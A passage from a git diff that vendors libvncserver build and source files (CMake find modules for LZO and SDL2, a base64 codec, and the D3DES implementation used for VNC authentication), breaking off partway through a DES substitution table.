liblzo2 +# LZO_FOUND - system has the LZO library +# LZO_INCLUDE_DIR - the LZO include directory +# LZO_LIBRARIES - The libraries needed to use LZO + +if (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + # in cache already + SET(LZO_FOUND TRUE) +else (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + FIND_PATH(LZO_INCLUDE_DIR NAMES lzo/lzo1x.h) + + FIND_LIBRARY(LZO_LIBRARIES NAMES lzo2) + + if (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + set(LZO_FOUND TRUE) + endif (LZO_INCLUDE_DIR AND LZO_LIBRARIES) + + if (LZO_FOUND) + if (NOT LZO_FIND_QUIETLY) + message(STATUS "Found LZO: ${LZO_LIBRARIES}") + endif (NOT LZO_FIND_QUIETLY) + else (LZO_FOUND) + if (LZO_FIND_REQUIRED) + message(FATAL_ERROR "Could NOT find LZO") + else() + message(STATUS "Could NOT find LZO") + endif (LZO_FIND_REQUIRED) + endif (LZO_FOUND) + +# MARK_AS_ADVANCED(LZO_INCLUDE_DIR LZO_LIBRARIES) +endif (LZO_INCLUDE_DIR AND LZO_LIBRARIES) diff --git a/3rdparty/libvncserver/cmake/Modules/FindSDL2.cmake b/3rdparty/libvncserver/cmake/Modules/FindSDL2.cmake new file mode 100644 index 0000000..464ca2d --- /dev/null +++ b/3rdparty/libvncserver/cmake/Modules/FindSDL2.cmake @@ -0,0 +1,173 @@ + +# This module defines +# SDL2_LIBRARY, the name of the library to link against +# SDL2_FOUND, if false, do not try to link to SDL2 +# SDL2_INCLUDE_DIR, where to find SDL.h +# +# This module responds to the the flag: +# SDL2_BUILDING_LIBRARY +# If this is defined, then no SDL2main will be linked in because +# only applications need main(). +# Otherwise, it is assumed you are building an application and this +# module will attempt to locate and set the the proper link flags +# as part of the returned SDL2_LIBRARY variable. +# +# Don't forget to include SDLmain.h and SDLmain.m your project for the +# OS X framework based version. (Other versions link to -lSDL2main which +# this module will try to find on your behalf.) Also for OS X, this +# module will automatically add the -framework Cocoa on your behalf. +# +# +# Additional Note: If you see an empty SDL2_LIBRARY_TEMP in your configuration +# and no SDL2_LIBRARY, it means CMake did not find your SDL2 library +# (SDL2.dll, libsdl2.so, SDL2.framework, etc). +# Set SDL2_LIBRARY_TEMP to point to your SDL2 library, and configure again. +# Similarly, if you see an empty SDL2MAIN_LIBRARY, you should set this value +# as appropriate. These values are used to generate the final SDL2_LIBRARY +# variable, but when these values are unset, SDL2_LIBRARY does not get created. +# +# +# $SDL2DIR is an environment variable that would +# correspond to the ./configure --prefix=$SDL2DIR +# used in building SDL2. +# l.e.galup 9-20-02 +# +# Modified by Eric Wing. +# Added code to assist with automated building by using environmental variables +# and providing a more controlled/consistent search behavior. +# Added new modifications to recognize OS X frameworks and +# additional Unix paths (FreeBSD, etc). +# Also corrected the header search path to follow "proper" SDL guidelines. +# Added a search for SDL2main which is needed by some platforms. +# Added a search for threads which is needed by some platforms. +# Added needed compile switches for MinGW. +# +# On OSX, this will prefer the Framework version (if found) over others. +# People will have to manually change the cache values of +# SDL2_LIBRARY to override this selection or set the CMake environment +# CMAKE_INCLUDE_PATH to modify the search paths. +# +# Note that the header path has changed from SDL2/SDL.h to just SDL.h +# This needed to change because "proper" SDL convention +# is #include "SDL.h", not . This is done for portability +# reasons because not all systems place things in SDL2/ (see FreeBSD). + +#============================================================================= +# Copyright 2003-2009 Kitware, Inc. +# +# Distributed under the OSI-approved BSD License (the "License"); +# see accompanying file Copyright.txt for details. +# +# This software is distributed WITHOUT ANY WARRANTY; without even the +# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the License for more information. +#============================================================================= +# (To distribute this file outside of CMake, substitute the full +# License text for the above reference.) + +# message("") + +SET(SDL2_SEARCH_PATHS + ~/Library/Frameworks + /Library/Frameworks + /usr/local + /usr + /sw # Fink + /opt/local # DarwinPorts + /opt/csw # Blastwave + /opt + ${SDL2_PATH} +) + +FIND_PATH(SDL2_INCLUDE_DIR SDL.h + HINTS + $ENV{SDL2DIR} + PATH_SUFFIXES include/SDL2 include + PATHS ${SDL2_SEARCH_PATHS} +) + +if(CMAKE_SIZEOF_VOID_P EQUAL 8) + set(PATH_SUFFIXES lib64 lib/x64 lib) +else() + set(PATH_SUFFIXES lib/x86 lib) +endif() + +FIND_LIBRARY(SDL2_LIBRARY_TEMP + NAMES SDL2 + HINTS + $ENV{SDL2DIR} + PATH_SUFFIXES ${PATH_SUFFIXES} + PATHS ${SDL2_SEARCH_PATHS} +) + +IF(NOT SDL2_BUILDING_LIBRARY) + IF(NOT ${SDL2_INCLUDE_DIR} MATCHES ".framework") + # Non-OS X framework versions expect you to also dynamically link to + # SDL2main. This is mainly for Windows and OS X. Other (Unix) platforms + # seem to provide SDL2main for compatibility even though they don't + # necessarily need it. + FIND_LIBRARY(SDL2MAIN_LIBRARY + NAMES SDL2main + HINTS + $ENV{SDL2DIR} + PATH_SUFFIXES ${PATH_SUFFIXES} + PATHS ${SDL2_SEARCH_PATHS} + ) + ENDIF(NOT ${SDL2_INCLUDE_DIR} MATCHES ".framework") +ENDIF(NOT SDL2_BUILDING_LIBRARY) + +# SDL2 may require threads on your system. +# The Apple build may not need an explicit flag because one of the +# frameworks may already provide it. +# But for non-OSX systems, I will use the CMake Threads package. +IF(NOT APPLE) + FIND_PACKAGE(Threads) +ENDIF(NOT APPLE) + +# MinGW needs an additional link flag, -mwindows +# It's total link flags should look like -lmingw32 -lSDL2main -lSDL2 -mwindows +IF(MINGW) + SET(MINGW32_LIBRARY mingw32 "-mwindows" CACHE STRING "mwindows for MinGW") +ENDIF(MINGW) + +IF(SDL2_LIBRARY_TEMP) + # For SDL2main + IF(NOT SDL2_BUILDING_LIBRARY) + IF(SDL2MAIN_LIBRARY) + SET(SDL2_LIBRARY_TEMP ${SDL2MAIN_LIBRARY} ${SDL2_LIBRARY_TEMP}) + ENDIF(SDL2MAIN_LIBRARY) + ENDIF(NOT SDL2_BUILDING_LIBRARY) + + # For OS X, SDL2 uses Cocoa as a backend so it must link to Cocoa. + # CMake doesn't display the -framework Cocoa string in the UI even + # though it actually is there if I modify a pre-used variable. + # I think it has something to do with the CACHE STRING. + # So I use a temporary variable until the end so I can set the + # "real" variable in one-shot. + IF(APPLE) + SET(SDL2_LIBRARY_TEMP ${SDL2_LIBRARY_TEMP} "-framework Cocoa") + ENDIF(APPLE) + + # For threads, as mentioned Apple doesn't need this. + # In fact, there seems to be a problem if I used the Threads package + # and try using this line, so I'm just skipping it entirely for OS X. + IF(NOT APPLE) + SET(SDL2_LIBRARY_TEMP ${SDL2_LIBRARY_TEMP} ${CMAKE_THREAD_LIBS_INIT}) + ENDIF(NOT APPLE) + + # For MinGW library + IF(MINGW) + SET(SDL2_LIBRARY_TEMP ${MINGW32_LIBRARY} ${SDL2_LIBRARY_TEMP}) + ENDIF(MINGW) + + # Set the final string here so the GUI reflects the final state. + SET(SDL2_LIBRARY ${SDL2_LIBRARY_TEMP} CACHE STRING "Where the SDL2 Library can be found") + # Set the temp variable to INTERNAL so it is not seen in the CMake GUI + SET(SDL2_LIBRARY_TEMP "${SDL2_LIBRARY_TEMP}" CACHE INTERNAL "") +ENDIF(SDL2_LIBRARY_TEMP) + +# message("") + +INCLUDE(FindPackageHandleStandardArgs) + +FIND_PACKAGE_HANDLE_STANDARD_ARGS(SDL2 REQUIRED_VARS SDL2_LIBRARY SDL2_INCLUDE_DIR) diff --git a/3rdparty/libvncserver/common/base64.c b/3rdparty/libvncserver/common/base64.c new file mode 100644 index 0000000..4e3685a --- /dev/null +++ b/3rdparty/libvncserver/common/base64.c @@ -0,0 +1,315 @@ +/* $OpenBSD: base64.c,v 1.8 2015/01/16 16:48:51 deraadt Exp $ */ + +/* + * Copyright (c) 1996 by Internet Software Consortium. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS + * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE + * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + */ + +/* + * Portions Copyright (c) 1995 by International Business Machines, Inc. + * + * International Business Machines, Inc. (hereinafter called IBM) grants + * permission under its copyrights to use, copy, modify, and distribute this + * Software with or without fee, provided that the above copyright notice and + * all paragraphs of this notice appear in all copies, and that the name of IBM + * not be used in connection with the marketing of any product incorporating + * the Software or modifications thereof, without specific, written prior + * permission. + * + * To the extent it has a right to do so, IBM grants an immunity from suit + * under its patents, if any, for the use, sale or manufacture of products to + * the extent that such products are used for performing Domain Name System + * dynamic updates in TCP/IP networks by means of the Software. No immunity is + * granted for any product per se or for any other function of any product. + * + * THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE. IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL, + * DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING + * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN + * IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES. + */ + +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +static const char Base64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const char Pad64 = '='; + +/* (From RFC1521 and draft-ietf-dnssec-secext-03.txt) + The following encoding technique is taken from RFC 1521 by Borenstein + and Freed. It is reproduced here in a slightly edited form for + convenience. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8-bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a quantity. When fewer than 24 input + bits are available in an input group, zero bits are added (on the + right) to form an integral number of 6-bit groups. Padding at the + end of the data is performed using the '=' character. + + Since all base64 input is an integral number of octets, only the + ------------------------------------------------- + following cases can arise: + + (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded + output will be an integral multiple of 4 characters + with no "=" padding, + (2) the final quantum of encoding input is exactly 8 bits; + here, the final unit of encoded output will be two + characters followed by two "=" padding characters, or + (3) the final quantum of encoding input is exactly 16 bits; + here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + +int +__b64_ntop(src, srclength, target, targsize) + u_char const *src; + size_t srclength; + char *target; + size_t targsize; +{ + size_t datalength = 0; + u_char input[3]; + u_char output[4]; + int i; + + while (2 < srclength) { + input[0] = *src++; + input[1] = *src++; + input[2] = *src++; + srclength -= 3; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + output[3] = input[2] & 0x3f; + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + target[datalength++] = Base64[output[2]]; + target[datalength++] = Base64[output[3]]; + } + + /* Now we worry about padding. */ + if (0 != srclength) { + /* Get what's left. */ + input[0] = input[1] = input[2] = '\0'; + for (i = 0; i < srclength; i++) + input[i] = *src++; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + if (srclength == 1) + target[datalength++] = Pad64; + else + target[datalength++] = Base64[output[2]]; + target[datalength++] = Pad64; + } + if (datalength >= targsize) + return (-1); + target[datalength] = '\0'; /* Returned value doesn't count \0. */ + return (datalength); +} + +/* skips all whitespace anywhere. + converts characters, four at a time, starting at (or after) + src from base - 64 numbers into three 8 bit bytes in the target area. + it returns the number of data bytes stored at the target, or -1 on error. + */ + +int +__b64_pton(src, target, targsize) + char const *src; + u_char *target; + size_t targsize; +{ + int tarindex, state, ch; + u_char nextbyte; + char *pos; + + state = 0; + tarindex = 0; + + while ((ch = (unsigned char)*src++) != '\0') { + if (isspace(ch)) /* Skip whitespace anywhere. */ + continue; + + if (ch == Pad64) + break; + + pos = strchr(Base64, ch); + if (pos == 0) /* A non-base64 character. */ + return (-1); + + switch (state) { + case 0: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] = (pos - Base64) << 2; + } + state = 1; + break; + case 1: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 4; + nextbyte = ((pos - Base64) & 0x0f) << 4; + if (tarindex + 1 < targsize) + target[tarindex+1] = nextbyte; + else if (nextbyte) + return (-1); + } + tarindex++; + state = 2; + break; + case 2: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 2; + nextbyte = ((pos - Base64) & 0x03) << 6; + if (tarindex + 1 < targsize) + target[tarindex+1] = nextbyte; + else if (nextbyte) + return (-1); + } + tarindex++; + state = 3; + break; + case 3: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64); + } + tarindex++; + state = 0; + break; + } + } + + /* + * We are done decoding Base-64 chars. Let's see if we ended + * on a byte boundary, and/or with erroneous trailing characters. + */ + + if (ch == Pad64) { /* We got a pad char. */ + ch = (unsigned char)*src++; /* Skip it, get next. */ + switch (state) { + case 0: /* Invalid = in first position */ + case 1: /* Invalid = in second position */ + return (-1); + + case 2: /* Valid, means one byte of info */ + /* Skip any number of spaces. */ + for (; ch != '\0'; ch = (unsigned char)*src++) + if (!isspace(ch)) + break; + /* Make sure there is another trailing = sign. */ + if (ch != Pad64) + return (-1); + ch = (unsigned char)*src++; /* Skip the = */ + /* Fall through to "single trailing =" case. */ + /* FALLTHROUGH */ + + case 3: /* Valid, means two bytes of info */ + /* + * We know this char is an =. Is there anything but + * whitespace after it? + */ + for (; ch != '\0'; ch = (unsigned char)*src++) + if (!isspace(ch)) + return (-1); + + /* + * Now make sure for cases 2 and 3 that the "extra" + * bits that slopped past the last full byte were + * zeros. If we don't check them, they become a + * subliminal channel. + */ + if (target && tarindex < targsize && + target[tarindex] != 0) + return (-1); + } + } else { + /* + * We ended by seeing the end of the string. Make sure we + * have no partial bytes lying around. + */ + if (state != 0) + return (-1); + } + + return (tarindex); +} diff --git a/3rdparty/libvncserver/common/base64.h b/3rdparty/libvncserver/common/base64.h new file mode 100644 index 0000000..9b86fc1 --- /dev/null +++ b/3rdparty/libvncserver/common/base64.h @@ -0,0 +1,10 @@ +#ifndef _BASE64_H +#define _BASE64_H + +extern int __b64_ntop(u_char const *src, size_t srclength, char *target, size_t targsize); +extern int __b64_pton(char const *src, u_char *target, size_t targsize); + +#define rfbBase64NtoP __b64_ntop +#define rfbBase64PtoN __b64_pton + +#endif /* _BASE64_H */ diff --git a/3rdparty/libvncserver/common/d3des.c b/3rdparty/libvncserver/common/d3des.c new file mode 100644 index 0000000..12ccf62 --- /dev/null +++ b/3rdparty/libvncserver/common/d3des.c @@ -0,0 +1,436 @@ +/* + * This is D3DES (V5.09) by Richard Outerbridge with the double and + * triple-length support removed for use in VNC. Also the bytebit[] array + * has been reversed so that the most significant bit in each byte of the + * key is ignored, not the least significant. + * + * These changes are: + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* D3DES (V5.09) - + * + * A portable, public domain, version of the Data Encryption Standard. + * + * Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. + * Thanks to: Dan Hoey for his excellent Initial and Inverse permutation + * code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis + * Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau, + * for humouring me on. + * + * Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + * (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + */ + +#include "d3des.h" + +#if defined(__GNUC__) +#define TLS __thread +#elif defined(_MSC_VER) +#define TLS __declspec(thread) +#else +#define TLS +#endif + +static void scrunch(unsigned char *, unsigned long *); +static void unscrun(unsigned long *, unsigned char *); +static void desfunc(unsigned long *, unsigned long *); +static void cookey(unsigned long *); + +static TLS unsigned long KnL[32] = { 0L }; +/* +static unsigned long KnR[32] = { 0L }; +static unsigned long Kn3[32] = { 0L }; +static unsigned char Df_Key[24] = { + 0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef, + 0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10, + 0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 }; +*/ + +static const unsigned short bytebit[8] = { + 01, 02, 04, 010, 020, 040, 0100, 0200 }; + +static const unsigned long bigbyte[24] = { + 0x800000L, 0x400000L, 0x200000L, 0x100000L, + 0x80000L, 0x40000L, 0x20000L, 0x10000L, + 0x8000L, 0x4000L, 0x2000L, 0x1000L, + 0x800L, 0x400L, 0x200L, 0x100L, + 0x80L, 0x40L, 0x20L, 0x10L, + 0x8L, 0x4L, 0x2L, 0x1L }; + +/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */ + +static const unsigned char pc1[56] = { + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 }; + +static const unsigned char totrot[16] = { + 1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 }; + +static const unsigned char pc2[48] = { + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 }; + +void rfbDesKey(unsigned char *key, + int edf) +{ + register int i, j, l, m, n; + unsigned char pc1m[56], pcr[56]; + unsigned long kn[32]; + + for ( j = 0; j < 56; j++ ) { + l = pc1[j]; + m = l & 07; + pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0; + } + for( i = 0; i < 16; i++ ) { + if( edf == DE1 ) m = (15 - i) << 1; + else m = i << 1; + n = m + 1; + kn[m] = kn[n] = 0L; + for( j = 0; j < 28; j++ ) { + l = j + totrot[i]; + if( l < 28 ) pcr[j] = pc1m[l]; + else pcr[j] = pc1m[l - 28]; + } + for( j = 28; j < 56; j++ ) { + l = j + totrot[i]; + if( l < 56 ) pcr[j] = pc1m[l]; + else pcr[j] = pc1m[l - 28]; + } + for( j = 0; j < 24; j++ ) { + if( pcr[pc2[j]] ) kn[m] |= bigbyte[j]; + if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j]; + } + } + cookey(kn); + return; + } + +static void cookey(register unsigned long *raw1) +{ + register unsigned long *cook, *raw0; + unsigned long dough[32]; + register int i; + + cook = dough; + for( i = 0; i < 16; i++, raw1++ ) { + raw0 = raw1++; + *cook = (*raw0 & 0x00fc0000L) << 6; + *cook |= (*raw0 & 0x00000fc0L) << 10; + *cook |= (*raw1 & 0x00fc0000L) >> 10; + *cook++ |= (*raw1 & 0x00000fc0L) >> 6; + *cook = (*raw0 & 0x0003f000L) << 12; + *cook |= (*raw0 & 0x0000003fL) << 16; + *cook |= (*raw1 & 0x0003f000L) >> 4; + *cook++ |= (*raw1 & 0x0000003fL); + } + rfbUseKey(dough); + return; + } + + +void rfbUseKey(register unsigned long *from) +{ + register unsigned long *to, *endp; + + to = KnL, endp = &KnL[32]; + while( to < endp ) *to++ = *from++; + return; + } + +void rfbDes(unsigned char *inblock, + unsigned char *outblock) +{ + unsigned long work[2]; + + scrunch(inblock, work); + desfunc(work, KnL); + unscrun(work, outblock); + return; + } + +static void scrunch(register unsigned char *outof, + register unsigned long *into) +{ + *into = (*outof++ & 0xffL) << 24; + *into |= (*outof++ & 0xffL) << 16; + *into |= (*outof++ & 0xffL) << 8; + *into++ |= (*outof++ & 0xffL); + *into = (*outof++ & 0xffL) << 24; + *into |= (*outof++ & 0xffL) << 16; + *into |= (*outof++ & 0xffL) << 8; + *into |= (*outof & 0xffL); + return; + } + +static void unscrun(register unsigned long *outof, + register unsigned char *into) +{ + *into++ = (unsigned char)((*outof >> 24) & 0xffL); + *into++ = (unsigned char)((*outof >> 16) & 0xffL); + *into++ = (unsigned char)((*outof >> 8) & 0xffL); + *into++ = (unsigned char)( *outof++ & 0xffL); + *into++ = (unsigned char)((*outof >> 24) & 0xffL); + *into++ = (unsigned char)((*outof >> 16) & 0xffL); + *into++ = (unsigned char)((*outof >> 8) & 0xffL); + *into = (unsigned char)( *outof & 0xffL); + return; + } + +static const unsigned long SP1[64] = { + 0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L, + 0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L, + 0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L, + 0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L, + 0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L, + 0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L, + 0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L, + 0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L, + 0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L, + 0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L, + 0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L, + 0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L, + 0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L, + 0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L, + 0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L, + 0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L }; + +static const unsigned long SP2[64] = { + 0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L, + 0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L, + 0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L, + 0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L, + 0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L, + 0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L, + 0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L, + 0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L, + 0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L, + 0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L, + 0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L, + 0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L, + 0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L, + 0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L, + 0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L, + 0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L }; + +static const unsigned long SP3[64] = { + 0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L, + 0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L, + 0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L, + 0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L, + 0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L, + 0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L, + 0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L, + 0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L, + 0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L, + 0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L, + 0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L, + 0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L, + 0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L, + 0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L, + 0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L, + 0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L }; + +static const unsigned long SP4[64] = { + 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, + 0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L, + 0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L, + 0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L, + 0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L, + 0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L, + 0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L, + 0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L, + 0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L, + 0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L, + 0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L, + 0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L, + 0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L, + 0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L, + 0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L, + 0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L }; + +static const unsigned long SP5[64] = { + 0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L, + 0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L, + 0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L, + 0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L, + 0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L, + 0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L, + 0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L, + 0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L, + 0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L, + 0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L, + 0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L, + 0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L, + 0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L, + 0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L, + 0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L, + 0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L }; + +static const unsigned long SP6[64] = { + 0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L, + 0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L, + 0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L, + 0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L, + 0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L, + 0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L, + 0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L, + 0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L, + 0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L, + 0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L, + 0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L, + 0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L, + 0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L, + 0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L, + 0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L, + 0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L }; + +static const unsigned long SP7[64] = { + 0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L, + 0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L, + 0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L, + 0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L, + 0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L, + 0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L, + 0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L, + 0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L, + 0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L, + 0x04000802L, 